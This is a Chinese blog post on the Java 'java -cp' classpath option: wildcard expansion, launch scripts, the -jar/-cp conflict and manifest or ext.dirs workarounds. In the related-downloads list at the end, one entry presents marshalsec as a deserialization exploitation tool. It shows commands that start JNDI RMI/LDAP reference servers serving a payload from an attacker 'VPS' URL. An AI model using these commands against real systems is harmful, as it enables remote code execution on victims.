`
sundful
  • 浏览: 1253799 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

java -cp

    博客分类:
  • Java
 
阅读更多

java -cp classpath

Specify a list of directories, JAR archives, and ZIP archives to  search  for  class  files.  Class  path entries  are separated by colons (:). Specifying -classpath or -cp overrides any setting of the CLASSPATH environment variable.

As a special convenience, a class path element containing a basename of  * is considered equivalent to specifying a list of all the files in the directory with the extension .jar or .JAR (a java program  cannot  tell the difference between the two invocations).

For  example,  if directory foo contains a.jar and b.JAR, then the class path element foo/* is expanded to a A.jar:b.JAR, except that the order of jar files is unspecified. All jar files in  the  specified  directory, even  hidden  ones,  are included in the list. A classpath entry consisting simply of * expands to a list of all the jar files in the current directory. The CLASSPATH environment variable, where defined, will be simi-larly  expanded.  Any  classpath  wildcard expansion occurs before the Java virtual machine is started -- no Java program will ever see unexpanded wildcards except by querying the environment. For example; by invoking System.getenv("CLASSPATH").

For more information on class paths, see Setting the Class Path.

查看文档得到以上信息,以下是查找到的资料:

-cp 参数后面是类路径,是指定给解释器到哪里找到你的.class文件,

写法: 
java -cp .;myClass.jar packname.mainclassname   
classpath中的jar文件能使用通配符,如果是多个jar文件,要一个一个地罗列出来,从某种意义上说jar文件也就是路径。

要指定各个JAR文件具体的存放路径,相同路径有多个可使用通配符  
java -cp .;c:/classes/myClass.jar;d:/classes/*.jar packname.mainclassname

packname.mainclassname为包含main方法的完全限定类名,如果在classpath中有多个还有main方法的类,通过此命令可以方便选定程序的入口。

例如:
#!/bin/sh 
cd /home/work/bvpn/aaa/bin 
pwd 
nohup /usr/java/jdk1.6.0_11/bin/java -cp .:../lib/log4j-1.2.15.jar:/usr/java/jdk1.6.0_11/lib/dt.jar:/usr/java/jdk1.6.0_11/lib/tools.jar:/usr/java/jdk1.6.0_11/lib/:/usr/java/jdk1.6.0_11/lib/jradius-client.jar:../lib/mysql-connector-java-5.1.12-bin.jar  authAgent.AuthAgentMain  2>&1  &

下面是一些遇到的问题:

1.jar -cp lib/referenced.jar -jar myworks.jar会执行报错,原因如下:

我们使用-jar选项的话java.exe会忽略-cp,-classpath,以及环境变量CLASSPATH的参数。 

解决方法一:

不要使用-jar选项,直接调用含有main方法的class文件,这样-cp,-classpath以及环境变量里的CLASSPATH指定的参数就都能使用到了。 

java -classpath ./lib/junit.jar:. test/Test1 

解决方法二:

继续使用-jar选项,但是在MAINFEST.MF文件中指定引用到jar文件. 

Class-Path: myplace/myjar.jar myplace/other.jar jardir/ 

另外说明一点:这个问题可能有些人遇不到,因为Java的版本不同的原因,我在Sun的JDK和IBM 1.5的JDK都遇到了这个问题,但是对于 IBM 1.4的JDK却没有类似问题

2. 批量加载包的方法:

(一)java命令引入jar时可以-cp参数,但时-cp不能用通配符(多个jar时要一个个写,不能*.jar),通常的jar都在同一目录,且多于1个。前些日子刚刚发现一个参数-Djava.ext.dirs~

如:java -Djava.ext.dirs=lib MyClass  【同样的weblogic中就有这样的参数:-Dweblogic.ext.dirs=$BEA_HOME/patch_weblogic920/profiles/default/sysext_manifest_classpath】

(二)通过Unix shell设置CLASSPATH方式加载(shell实在是方便)
CLASSPATH=`find ../lib -name *.jar|xargs|sed "s/ /:/g"` 
CLASSPATH=".:$CLASSPATH

 

(三)cp 参数后面是类路径,是指定给解释器到哪里找到你的.class文件。使用java -cp命令可以调用一个其他目录下的带有main函数的类。格式为java -cp class文件的路径,下面的例子采用的相对路径。

String commandLine = "java -cp "+ "..\\kwicByPipeServer\\bin KWIC";

Process p = Runtime.getRuntime().exec(commandLine);

这样就可以调用了。

分享到:
评论

相关推荐

    weixin-java-cp-2.8.0-API文档-中文版.zip

    赠送jar包:weixin-java-cp-2.8.0.jar; 赠送原API文档:weixin-java-cp-2.8.0-javadoc.jar; 赠送源代码:weixin-java-cp-2.8.0-sources.jar; 赠送Maven依赖信息文件:weixin-java-cp-2.8.0.pom; 包含翻译后的API...

    weixin-java-cp-3.7.0.jar

    java运行依赖jar包

    weixin-java-cp-3.8.0.jar

    java运行依赖jar包

    包含微信接口相关的jar,如公众号、开放平台、微信小程序接口等等

    weixin-java-cp-4.0.9.B.jar weixin-java-miniapp-4.0.9.B.jar weixin-java-mp-4.0.9.B.jar weixin-java-open-4.0.9.B.jar weixin-java-pay-4.0.9.B.jar weixin-java-qidian-4.0.9.B.jar wx-java-miniapp-spring-...

    微信 java weixin-java-tools-springmvc-master

    微信 java weixin-java-tools-springmvc-master 微信 java weixin-java-tools-springmvc-master

    mysql-connector-java-5.1.40.tar

    这可以通过IDE如Eclipse或IntelliJ IDEA的设置,或者在命令行通过`java -cp`选项实现。 - 对于Web应用,可以将jar放入Tomcat或Jetty等服务器的`lib`目录下。 2. **连接数据库**: - 使用`DriverManager.get...

    weixin-java-pay-2.8.0-API文档-中英对照版.zip

    赠送jar包:weixin-java-pay-2.8.0.jar; 赠送原API文档:weixin-java-pay-2.8.0-javadoc.jar; 赠送源代码:weixin-java-pay-2.8.0-sources.jar; 赠送Maven依赖信息文件:weixin-java-pay-2.8.0.pom; 包含翻译后...

    mysql-connector-java-8.0.27.jar

    MySQL Connector/J 8.0.27 是 MySQL 官方提供的用于 Java 应用程序的数据库驱动程序,它实现了 JDBC(Java Database Connectivity)规范,使得 Java 开发人员能够方便地在 Java 应用中与 MySQL 数据库进行交互。...

    java 反序列化利用工具marshalsec-0.0.3-SNAPSHOT-all

    java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> []] 参数说明: -a:生成exploit下的所有payload(例如:hessian下的...

    torch-1.10.2-cp36-cp36m-manylinux1_x86_64.whl

    torch-1.10.2-cp36-cp36m-manylinux1_x86_64.whltorch-1.10.2-cp36-cp36m-manylinux1_x86_64.whltorch-1.10.2-cp36-cp36m-manylinux1_x86_64.whltorch-1.10.2-cp36-cp36m-manylinux1_x86_64.whltorch-1.10.2-cp36-cp...

    marshalsec-0.0.3-SNAPSHOT-all.jar

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 开启ldap服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ...

    mysql-connector-java-5.1.10-bin.jar

    3. 在运行Java应用时,通过`java -cp`命令行参数指定jar的位置。 接下来,让我们看看如何在Java代码中使用这个驱动建立数据库连接: ```java import java.sql.Connection; import java.sql.DriverManager; import ...

    mysql-connector-java-5.1.6jar包

    3. **命令行**:如果在命令行下运行Java应用,可以通过`java -cp`选项指定包含此JAR的类路径。 对于5.1.6版本,需要注意的是,这个版本可能不支持较新的MySQL特性,如JSON字段类型、窗口函数、CTE(公共表表达式)...

    mysql-connector-java-8.0.16.jar

    - **添加至项目**:将jar文件添加到Java项目的类路径中,这可以通过IDE(如Eclipse、IntelliJ IDEA)的设置完成,或者在命令行中使用`java -cp`参数指定。 - **配置URL**:在Java代码中,通过`DriverManager.get...

    weixin-java-cp-demo:基于Spring Boot和WxJava实现的微信企业号企业微信放置演示

    本项目为WxJava的Demo演示程序,基于Spring Boot ,实现企业微信替代开发功能。... cp: corpId: 111 (企业ID 在此页面查看:https://work.weixin.qq.com/wework_admin/frame#profile) appConfigs:

    mysql-connector-java-8.0.30连接器

    这可以通过在IDE(如Eclipse或IntelliJ IDEA)中设置库,或者在命令行中使用`java -cp`选项来实现。 2. **建立连接**:通过JDBC API创建数据库连接,使用`DriverManager.getConnection()`方法,传入数据库URL、...

    mysql-connector-java-8.0.28

    这可以通过设置IDE的构建路径、在命令行中使用`java -cp`选项或在运行时动态加载实现。一旦驱动被加载,就可以通过以下步骤连接到MySQL数据库: 1. 加载Driver:`Class.forName("com.mysql.cj.jdbc.Driver")` 2. ...

    WxJava - 微信开发 Java SDK,支持微信支付、开放平台、公众号、企业号企业微信、小程序等的后端开发.zip

    微信Java开发工具包,支持包括微信支付、开放平台、公众号、企业微信/企业号、小程序等微信功能模块的后端开发。 Maven 引用方式 注意:最新版本(包括测试版)为 Maven Central... 企业号/企业微信:weixin-java-cp

    java 连接gbase驱动包gbase-connector-java-8.3-bin.jar

    2. **命令行**:如果在命令行环境下,可以使用`java -cp`选项指定包含驱动的目录或jar文件,或者在`CLASSPATH`环境变量中包含这个jar。 3. **Maven/Gradle**:对于使用构建工具如Maven或Gradle的项目,可以在pom....

    GDAL-3.6.1-cp310-cp310-win_amd64.whl.zip

    标题"GDAL-3.6.1-cp310-cp310-win_amd64.whl.zip"表明这是一个针对Python 3.10版本的GDAL库的Windows(AMD64架构)二进制安装包,其格式为.whl。GDAL(Geospatial Data Abstraction Library)是一个开源的地理空间...

Global site tag (gtag.js) - Google Analytics